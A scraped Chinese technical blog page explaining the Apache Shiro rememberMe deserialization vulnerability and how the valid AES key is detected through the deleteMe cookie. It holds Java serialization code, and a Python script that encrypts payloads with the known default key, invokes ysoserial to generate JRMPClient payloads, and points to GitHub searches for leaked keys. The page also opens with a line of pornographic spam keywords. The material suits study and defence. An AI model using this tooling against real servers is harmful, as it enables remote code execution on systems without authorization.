国产 无码 综合区,色欲AV无码国产永久播放,无码天堂亚洲国产AV,国产日韩欧美女同一区二区

shiro漏洞原理以及檢測key值原理

這篇具有很好參考價值的文章主要介紹了shiro漏洞原理以及檢測key值原理。希望對大家有所幫助。如果存在錯誤或未考慮完全的地方,請大家不吝賜教,您也可以點(diǎn)擊"舉報違法"按鈕提交疑問。

一、shiro漏洞原理

  • Shiro 1.2.4及之前的版本中,AES加密的密鑰默認(rèn)硬編碼在代碼里(SHIRO-550),Shiro 1.2.4以上版本官方移除了代碼中的默認(rèn)密鑰,要求開發(fā)者自己設(shè)置,如果開發(fā)者沒有設(shè)置,則默認(rèn)動態(tài)生成,降低了固定密鑰泄漏的風(fēng)險。

  • 升級shiro版本并不能根本解決反序列化漏洞,代碼復(fù)用會直接導(dǎo)致項(xiàng)目密鑰泄漏,從而造成反序列化漏洞。針對公開的密鑰集合,我們可以在github上搜索到并加以利用。(搜索關(guān)鍵詞:"securityManager.setRememberMeManager(rememberMeManager); Base64.decode(“或"setCipherKey(Base64.decode(”)

shiro漏洞原理以及檢測key值原理

二、檢測shiro反序列化漏洞的key值的方法

我們?nèi)绾潍@知選擇的密鑰是否與目標(biāo)匹配呢?有一種思路是:當(dāng)密鑰不正確或類型轉(zhuǎn)換異常時,目標(biāo)Response包含Set-Cookie:rememberMe=deleteMe字段,而當(dāng)密鑰正確且沒有類型轉(zhuǎn)換異常時,返回包不存在Set-Cookie:rememberMe=deleteMe字段。

那么具體的檢測方法一般包括如下幾種:

  • 第一種是利用URLDNS進(jìn)行檢測https://github.com/LuckyC4t/shiro-urldns/blob/master/src/main/java/luckycat/shirourldns/URLDNS.java

  • 第二種利用命令執(zhí)行進(jìn)行檢測??通過執(zhí)行ping命令來檢測。

  • 第三種使用SimplePrincipalCollection序列化后進(jìn)行檢測(XCheck,即Xray Check)通過使用SimplePrincipalCollection序列化來進(jìn)行檢測,key正確情況下不返回 deleteMe ,key錯誤情況下返回 deleteMe

1.密鑰不正確

  • Key不正確,解密時org.apache.shiro.crypto.JcaCipherService#crypt拋出異常

shiro漏洞原理以及檢測key值原理

  • 進(jìn)而走進(jìn)org.apache.shiro.web.servlet.impleCookie#removeFrom方法,在返回包中添加了rememberMe=deleteMe字段

shiro漏洞原理以及檢測key值原理

  • 于是獲得的返回包包含了Set-Cookie:rememberMe=deleteMe字段。

shiro漏洞原理以及檢測key值原理

2.類型轉(zhuǎn)換異常

  • org.apache.shiro.mgt.AbstractRememberMeManager#deserialize進(jìn)行數(shù)據(jù)反序列化,返回結(jié)果前有對反序列化結(jié)果對象做PrincipalCollection的強(qiáng)制類型轉(zhuǎn)換。

shiro漏洞原理以及檢測key值原理

  • 可以看到類型轉(zhuǎn)換報錯,因?yàn)槲覀兊姆葱蛄谢Y(jié)果對象與PrincipalCollection并沒有繼承關(guān)系

shiro漏洞原理以及檢測key值原理

  • 反序列化異常后同樣捕捉到異常,填到報錯異常中。

shiro漏洞原理以及檢測key值原理

  • 緊接著也跳到了removeFrom中,添加響應(yīng)頭。

shiro漏洞原理以及檢測key值原理

  • 然后看響應(yīng)頭也同樣添加了rememberMe=deleteMe

shiro漏洞原理以及檢測key值原理

3.檢測方法(XCheck,即Xray Check)

如上分析,我么只需要構(gòu)造一個類型繼承了PrincipalCollection的類,這樣在反序列化是轉(zhuǎn)換為PrincipalCollection時就不會報錯。通過實(shí)現(xiàn)關(guān)系查看,SimplePrincipalCollection和SimplePrincipalMap均符合要求。

shiro漏洞原理以及檢測key值原理

  • 那么構(gòu)造這兩個對象對象中的其中一個進(jìn)行序列化。

import org.apache.shiro.subject.SimplePrincipalCollection;

import org.apache.shiro.subject.SimplePrincipalMap;

import java.io.FileOutputStream;

import java.io.ObjectOutputStream;



public class SimplePrincipalCollectionTest {

????public static void main(String[] args) throws Exception {

????????SimplePrincipalMap simplePrincipalMap = new SimplePrincipalMap();

//????????SimplePrincipalCollection simplePrincipalCollection = new SimplePrincipalCollection();

????????ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("test.bin"));

????????oos.writeObject(simplePrincipalMap);

????????oos.close();

????}

}
  • 將序列化號的文件用寫好的腳本進(jìn)行AES加密并且編碼。

import sys

import base64

import uuid

from random import Random

import subprocess

from Crypto.Cipher import AES



def get_file_data(filename):

????with open(filename,'rb') as f:

????????data = f.read()

????return data



def aes_enc(data):

????BS = AES.block_size

????pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()

????key??=??"kPH+bIxk5D2deZiIxcaaaA=="

????mode =??AES.MODE_CBC

????iv???=??uuid.uuid4().bytes

????encryptor = AES.new(base64.b64decode(key), mode, iv)

????ciphertext = base64.b64encode(iv + encryptor.encrypt(pad(data)))

????return ciphertext



def encode_rememberme(command):

????popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-BETA-all.jar', 'JRMPClient', command], stdout=subprocess.PIPE)

????BS???= AES.block_size

????pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()

????key??=??"kPH+bIxk5D2deZiIxcaaaA=="

????mode =??AES.MODE_CBC

????iv???=??uuid.uuid4().bytes

????encryptor = AES.new(base64.b64decode(key), mode, iv)

????file_body = pad(popen.stdout.read())

????base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))

????return base64_ciphertext



if __name__ == '__main__':

????# test.bin為編譯好的序列化鏈的內(nèi)容

????data = get_file_data("test.bin")

????print(aes_enc(data))

shiro漏洞原理以及檢測key值原理

  • 將編碼好的payload通過rememberMe字段發(fā)送,如果密鑰是正確的,則相應(yīng)包中就不會存在rememberMe=deleteMe的響應(yīng)頭。

shiro漏洞原理以及檢測key值原理文章來源地址http://www.zghlxwxcb.cn/news/detail-459775.html

到了這里,關(guān)于shiro漏洞原理以及檢測key值原理的文章就介紹完了。如果您還想了解更多內(nèi)容,請?jiān)谟疑辖撬阉鱐OY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!

本文來自互聯(lián)網(wǎng)用戶投稿,該文觀點(diǎn)僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務(wù),不擁有所有權(quán),不承擔(dān)相關(guān)法律責(zé)任。如若轉(zhuǎn)載,請注明出處: 如若內(nèi)容造成侵權(quán)/違法違規(guī)/事實(shí)不符,請點(diǎn)擊違法舉報進(jìn)行投訴反饋,一經(jīng)查實(shí),立即刪除!

領(lǐng)支付寶紅包贊助服務(wù)器費(fèi)用

相關(guān)文章

  • Apache Shiro RememberMe 1.2.4 反序列化過程命令執(zhí)行漏洞【原理掃描】

    Apache Shiro RememberMe 1.2.4 反序列化過程命令執(zhí)行漏洞【原理掃描】

    文章目錄 一、分析定位 1. 漏洞描述 2. 項(xiàng)目引發(fā)漏洞簡述 二、 若依系統(tǒng) 2.1. 版本升級 2.2. 配置文件 2.3. 推薦做法 2.4. 栗子 2.5. 項(xiàng)目場景 三、Gus系統(tǒng) 3.1. shiro版本升級 3.2. 調(diào)用重新生成 3.3. 生成工具類 shiro漏洞補(bǔ)充: 一、分析定位 1. 漏洞描述 2. 項(xiàng)目引發(fā)漏洞簡述 若依/Guns管

    2024年02月15日
    瀏覽(24)
  • Shiro歷史漏洞復(fù)現(xiàn) - Shiro-721

    Shiro歷史漏洞復(fù)現(xiàn) - Shiro-721

    Shiro rememberMe 反序列化遠(yuǎn)程代碼執(zhí)行漏洞 由于 Apache Shiro cookie 中通過 AES-128-CBC 模式加密的 rememberMe 字段存 在問題,用戶可通過 Padding Oracle 加密生成的攻擊代碼來構(gòu)造惡意的 rememberMe 字段,并重新請求網(wǎng)站,進(jìn)行反序列化攻擊,最終導(dǎo)致任意代碼執(zhí)行 rememberMe cookie 通過 AES-

    2024年02月10日
    瀏覽(20)
  • Shiro反序列化漏洞綜合利用工具Shiro Attack使用教程

    目錄 漏洞掃描 利用鏈檢測 執(zhí)行命令 注入蟻劍內(nèi)存馬 將目標(biāo)網(wǎng)站輸入在目標(biāo)地址欄中嗎,點(diǎn)擊爆破密鑰,如果發(fā)現(xiàn)key,則可以利用

    2024年02月13日
    瀏覽(26)
  • 【shiro】shiro反序列化漏洞綜合利用工具v2.2(下載、安裝、使用)

    【shiro】shiro反序列化漏洞綜合利用工具v2.2(下載、安裝、使用)

    shiro反序列化漏洞綜合利用工具v2.2下載: 鏈接:https://pan.baidu.com/s/1kvQEMrMP-PZ4K1eGwAP0_Q?pwd=zbgp 提取碼:zbgp 其他工具下載: 除了該工具之外,github上還有其他大佬貢獻(xiàn)的各種工具,有許多python編寫的工具,功能簡單,可以作為理解shiro漏洞原理并編寫自己工具的教材。 說明 :

    2023年04月08日
    瀏覽(24)
  • Shiro-721---漏洞復(fù)現(xiàn)

    Shiro-721---漏洞復(fù)現(xiàn)

    Shiro rememberMe 反序列化遠(yuǎn)程代碼執(zhí)行漏洞 由于 Apache Shiro cookie 中通過 AES-128-CBC 模式加密的 rememberMe 字段存 在問題,用戶可通過 Padding Oracle 加密生成的攻擊代碼來構(gòu)造惡意的 rememberMe 字段,并重新請求網(wǎng)站,進(jìn)行反序列化攻擊,最終導(dǎo)致任意代碼執(zhí)行 rememberMe cookie 通過 AES-

    2024年02月01日
    瀏覽(12)
  • Shiro 550與721漏洞的不同

    Apache Shiro框架進(jìn)行登錄,服務(wù)端在接收cookie時,會經(jīng)過下面的流程: 1、檢索RememberMe Cookie的值 2、Base64解碼 3、AES解密(加密密鑰硬編碼) 4、進(jìn)行 反序列化 操作(未過濾處理) 5、攻擊者可以使用Shiro的 默認(rèn)密鑰構(gòu)造惡意序列化對象 進(jìn)行編碼來偽造用戶的Cookie,服務(wù)端反序

    2024年01月17日
    瀏覽(88)
  • 漏洞復(fù)現(xiàn)——shiro反序列化

    漏洞復(fù)現(xiàn)——shiro反序列化

    今天咱們的主角是shiro反序列化命令執(zhí)行漏洞。該漏洞在HVV等大型攻防項(xiàng)目中,經(jīng)常被作為突破口。簡單介紹了解一下還是很有必要的。廢話不多說,進(jìn)入正題。 一、漏洞描述: Apache Shiro是美國阿帕奇(Apache)軟件基金會的一套用于執(zhí)行認(rèn)證、授權(quán)、加密和會話管理的Java安

    2024年02月09日
    瀏覽(25)
  • Shiro框架漏洞分析與復(fù)現(xiàn)

    Shiro框架漏洞分析與復(fù)現(xiàn)

    Shiro簡介 Apache Shiro是一款開源安全框架,提供身份驗(yàn)證、授權(quán)、密碼學(xué)和會話管理。Shiro框架直觀、易用,同時也能提供健壯的安全性,可以快速輕松地保護(hù)任何應(yīng)用程序——從最小的移動應(yīng)用程序到最大的 Web 和企業(yè)應(yīng)用程序。 1、Shiro反序列化漏洞(CVE-2016-4437,Shiro-550)

    2024年02月17日
    瀏覽(21)
  • 【滲透測試】Apache Shiro系列漏洞

    【滲透測試】Apache Shiro系列漏洞

    ? ?? Shiro-550(CVE-2016-4437) ???1、漏洞原理 ???2、影響版本 ???3、漏洞利用 ?? Shiro-721 ???1、漏洞原理 ???2、影響版本 ???3、漏洞利用 ?? Shiro認(rèn)證繞過漏洞(CVE-2020-1957) ???1、漏洞原理 ???2、影響版本 ???3、漏洞驗(yàn)證 ?? Shiro 身份驗(yàn)證繞過 (CVE-2020-13933) ???

    2024年02月06日
    瀏覽(43)
  • shiro漏洞復(fù)現(xiàn)及其攻擊流量分析

    shiro漏洞復(fù)現(xiàn)及其攻擊流量分析

    最近面試時經(jīng)常被問到,每次說的都不太完美,現(xiàn)在再來復(fù)現(xiàn)一邊。 Apache Shiro是一個開源安全框架,提供身份驗(yàn)證、授權(quán)、密碼學(xué)和會話管理。 利用vulhub搭建的靶場。 在Apache Shiro = 1.2.4版本中存在反序列化漏洞。 該漏洞成因在于,Shiro的“記住我”功能是設(shè)置cookie中的reme

    2024年02月06日
    瀏覽(18)

覺得文章有用就打賞一下文章作者

支付寶掃一掃打賞

博客贊助

微信掃一掃打賞

請作者喝杯咖啡吧~博客贊助

支付寶掃一掃領(lǐng)取紅包,優(yōu)惠每天領(lǐng)

二維碼1

領(lǐng)取紅包

二維碼2

領(lǐng)紅包